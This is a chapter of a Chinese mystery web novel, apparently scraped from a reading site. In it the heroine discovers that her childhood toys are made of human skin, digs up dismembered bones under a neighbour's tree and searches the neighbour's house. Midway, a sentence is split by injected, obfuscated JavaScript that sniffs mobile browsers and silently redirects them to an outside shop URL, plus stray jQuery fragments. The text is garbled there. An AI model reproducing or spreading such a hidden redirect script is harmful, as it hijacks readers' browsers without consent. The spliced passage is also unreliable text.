拨浪鼓的触感很特别，不是寻常牛皮或羊皮的粗粝，皮质细腻，触感微凉，带着一种近乎肤质的柔软。


    周佩兰还在絮絮说着：“……这拨浪鼓，是你六岁那年，她亲手做的。这鼓皮绷得又紧又匀，声音也清亮……”


    风筝的骨架是细竹篾，糊的面料轻薄坚韧，颜色是褪了些的靛蓝，上面用墨笔简单勾勒了几笔流云。


    同样是那种奇异的皮质感，与拨浪鼓如出一辙。


    周佩兰见她拿着那拨浪鼓出神，以为她是想起了简莺往日的好，不由叹道：“你简大娘待你，确是掏心掏肺。这拨浪鼓她做了好些天，鼓皮寻得不易，说是极珍稀的皮子，定要给你玩……”


    呵呵。孟临渊嘴角抽了抽，确实是非常珍惜的皮子。


    毕竟这是人皮。


    她曾经做过一个任务，接触过这类物品。华国西部便有密宗仪式，有一些特殊的法事需要用到人皮鼓等法器。这些法器被认为具有特殊的力量，能够帮助修行者更好地与神灵沟通，达到更高的修行境界。


    没有专业的仪器和手段暂时很难推测出具体时间，不过既然是苏令仪六岁的时候送的，那应该是几年前的事情了。


    她微微蹙眉。究竟是简莺顺手杀人制成的玩具，还是特意送给苏令仪的。


    如果是后者……


    孟临渊将拨浪鼓放回匣中。她目光扫过匣中其他物件，银镯、项圈、小木剑、彩绘泥人……都是寻常孩童玩物。唯有这两件皮制品，透着说不出的诡异。


    “她送你这风筝时，还特意嘱咐，说这面料难得，让你仔细收着，别让虫蛀了。”周佩兰回忆着，“你那时还小，玩了几次就收起来了。倒是这拨浪鼓，你爱不释手，天天拿在手里摇。”


    天天拿在手里。孟临渊垂眸。若这真是人皮所制，简莺将这物件日日放在原主手中把玩，是何居心？是纯粹的恶趣味，还是某种扭曲的心态？


    “说起来简大娘是哪里人？我都忘了。”她随意的问道。


    周佩兰将匣子盖好，放回柜中，想了想道：“她说是南边逃难过来的，具体哪里没细说。只道夫君早亡，族里容不下，便独自出来了。也是个苦命人。”她拍拍手上的灰，“怎么忽然问起这个？”


    “随便问问。”孟临渊起身，“我去找宋七。”


    “早些回来。”


    巷口老槐树下，夏容与依旧那副懒散样子，见她出来，琥珀色的眸子望过来。


    “有新发现。”孟临渊言简意赅，将拨浪鼓与风筝的异样说了。


    夏容与听完，眉梢微挑：“人皮？”


    “八九不离十。”孟临渊道，“苏令仪六岁是四年前，那时我们已经搬来此地。若皮子是来自更早的受害者……”


    “比如，五年前青阳县的某个失踪者。”夏容与接道，“苏琅案中，失踪的不止内脏和头颅，还有四肢。”


    孟临渊点头。四肢的皮肉若被剥下，硝制处理后，做成孩童玩具，谁能想到？


    “但时间对不上。”她沉吟，“苏琅案发在九月，我们搬来是次年春。简莺是之后才搬来的。若皮子来自苏琅案，她为何要带着这些追到我们身边？又为何对苏令仪格外关照？”


    “或许，她认识苏琅。”夏容与道，“或者认识凶手。追来此地，未必是为你们，也可能是为躲避或监视什么。”


    “还有一种可能，”孟临渊目光渐冷，“她就是凶手之一。”


    那低沉的男声说和苏琅真像啊。声音可以伪装，但若凶手本就是女子呢？简莺身材高挑，嗓音略低，若刻意压低，未必不能模仿男声。


    “需要验证。”夏容与直起身，“不如今夜我们去探探她家杏树下，还有她屋里可有其他可疑之物。”


    “是该查一查。”孟临渊若有所思。


    即便简莺和苏琅没有关系，邻居这样也无法让人安心，终究是个祸患。


    两人又细说了几句，约定入夜后行动。


    然而，未等夜幕降临，变故陡生。


    午后，孟临渊正在窗前翻书，忽听院外传来急促的脚步声，夹杂着妇人尖利的哭喊。周佩兰从厨房出来，擦了擦手：“外头怎么了？”


    孟临渊放下书，走到院门边，透过门缝望去。


    只见几个衙役打扮的人，正押着一个捆了双手的汉子从巷子那头过来。那汉子方脸阔口，正是简莺新婚不久的丈夫。他满面惶急，嘴里不住嚷着：“冤枉！大人冤枉啊！我真没杀人！”


    简莺跟在后头，头发有些散乱，一手紧紧抓着个包袱，一手想去拉衙役的袖子，又被甩开。她脸色苍白，却仍强撑着大声道：“官爷，我夫君是老实人，定是弄错了！那王屠户的死跟我们没关系啊！”


    王屠户？孟临渊记得，是镇西头卖肉的，膀大腰圆，脾气暴躁，但人缘不差。


    一个衙役回头喝道：“是不是冤枉，回了衙门自有分晓！有人亲眼看见你丈夫昨夜里鬼鬼祟祟在王屠户家附近转悠，今早王屠户就死在家里，胸口插着他家的杀猪刀！不是你丈夫干的，还能是谁？”


    “那是有人诬陷！”简莺急道，“我夫君昨夜一直在家，我能作证！”


    “你是他婆娘，作证顶什么用？”衙役不耐，“有话去堂上说！带走！”


    一行人推推搡搡，吵吵嚷嚷地过去了。巷子里看热闹的邻居这才围拢过来，议论纷纷。


    “王屠户死了？怎么死的？”


    “说是让人捅死的，屋里钱财没少，不像劫财。”


    “简莺这新夫君，看着就不像安分的，才成亲几天就惹上官司……”


    周佩兰也开了门，望着远去的队伍，眉头紧锁：“怎会这样……简莺好不容易……”


    孟临渊没说话。王屠户的死，太过巧合。简莺丈夫被抓，简莺势必焦头烂额，今夜家中无人，正是探查的绝佳时机。但这巧合本身，就透着蹊跷。


    是有人故意将简莺丈夫牵扯进命案，调虎离山？还是简莺自己导演了这出戏，为了掩盖什么？


    她微微垂眸，「9413，联系夏容与，让他先查王屠户的案子。」


    -


    夜色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919464|182219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渐浓，月光被薄云遮掩，只透出朦胧的清辉。巷子里寂静无声，偶尔传来几声犬吠，更添几分不安。


    孟临渊悄无声息地翻过两家相邻的矮墙。


    简莺的院子里，那棵老杏树在月色下投出浓重的阴影。树下泥土颜色与周围没什么异常。


    她悄无声息的来到房门前，自怀中取出一支细长竹管，一头抵在窗纸的细微破损处，一缕极淡的青烟顺着竹管无声无息地渗入屋内。这是特制的迷烟，剂量不大，只会让屋内的人睡得更为深沉，不易惊醒。


    等待药效发作的片刻，她回到了老杏树下。


    孟临渊用随身带的短匕小心插入泥土，试探了几下。


    土是松的，被人翻动过，而且时间不长。


    她蹲下身，捻起一点土，除了泥土的腥气，并无预料中的腐味。但这并不能说明什么，若有石灰或特殊处理，足以掩盖许多气味。


    为了不惊动别人，她没有带大件的工具，只能徒手配合短匕，小心地将上层浮土刨开。越往下挖，土质越是板结潮湿，但依旧没有发现骸骨或衣物的痕迹。


    一直挖了约莫三尺深，匕首碰到了一个硬物。


    孟临渊动作一顿，改用手指小心拨开浮土。


    月光挣扎着穿透云层，恰好照在那被掘开的一角。起初只是冰凉的土粒，但随着深入，指尖触到一些坚硬的、不规则的片状物。她轻轻拨开浮土，借着月光，看清那是几块细小的、边缘泛白的碎骨，混杂在泥土里，像是被刻意敲碎掩埋的。


    很快，更多白骨暴露出来，凌乱地堆叠在一起，并非完整人形，而是被拆散的状态。尺骨、桡骨、胫骨、腓骨……在昏暗光线下泛着森然的光泽。


    孟临渊停下了动作。她蹲下身，仔细查看那些骨骼，尤其是关节和断口处。骨头上没有太多陈年泥土沁入的痕迹，掩埋时间应该不长，几年内。


    关节分离的断口……不像是野兽撕咬或自然腐烂分离，更像是被利刃切割过。某一处骨头上有明显的利器砍痕。


    说不定真和苏琅有关，毕竟这里只有四肢的骨头。


    她将骨头原样埋回，尽量抹去翻动的痕迹，转向简莺居住的正屋。


    门上了锁，是常见的铜挂锁。孟临渊从发间取下一根细簪，摆弄几下，锁舌轻轻弹开。


    她先是检查了床底和柜顶等可能藏物之处，并无异常。


    她打开靠墙的木柜。里面叠放着几件半旧衣物，颜色素净。她仔细摸索柜壁和底板，触感平整，并无夹层。


    但当她拿起最下面一件靛蓝粗布衫时，手感微沉，衣襟内侧的缝线处，针脚有细微的异样，比别处更密实。她捏了捏，里面似乎衬着薄薄一层东西。小心拆开几针，指尖探入，触到一块质地异常柔韧光滑的料子，边缘似乎经过精细处理。她心中一动，没有完全取出，只是确认了其存在，便依原样粗略缝回。


    她不仅用它做孩童玩具，还贴身使用。


    真是胆大。


    孟临渊虽然也不怕这些，但是她觉得带在身边还是太诡异了吧。